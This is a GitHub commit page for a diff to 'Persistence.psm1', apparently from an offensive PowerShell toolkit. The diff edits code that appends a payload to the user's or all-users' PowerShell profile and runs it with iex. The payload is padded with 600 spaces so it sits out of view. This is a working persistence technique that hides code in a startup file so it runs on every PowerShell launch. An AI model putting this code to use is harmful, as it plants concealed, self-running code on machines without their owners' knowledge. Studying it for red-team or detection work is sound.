We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
There was an error while loading. Please reload this page.
1 parent 9a2dfad commit ef37a13Copy full SHA for ef37a13
Persistence/Persistence.psm1
@@ -660,7 +660,8 @@ if(([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::G
660
{$Prof=$PROFILE.AllUsersAllHosts;$Payload=ELEVATEDTRIGGER}
661
else
662
{$Prof=$PROFILE.CurrentUserAllHosts;$Payload=USERTRIGGER}
663
-' '*600+$Script.ToString()|Out-File $Prof -A -NoC -Fo
+mkdir (Split-Path -Parent $Prof)
664
+(gc $Prof) + (' ' * 600 + $Script)|Out-File $Prof -Fo
665
iex $Payload|Out-Null
666
Write-Output $Payload}
667
0 commit comments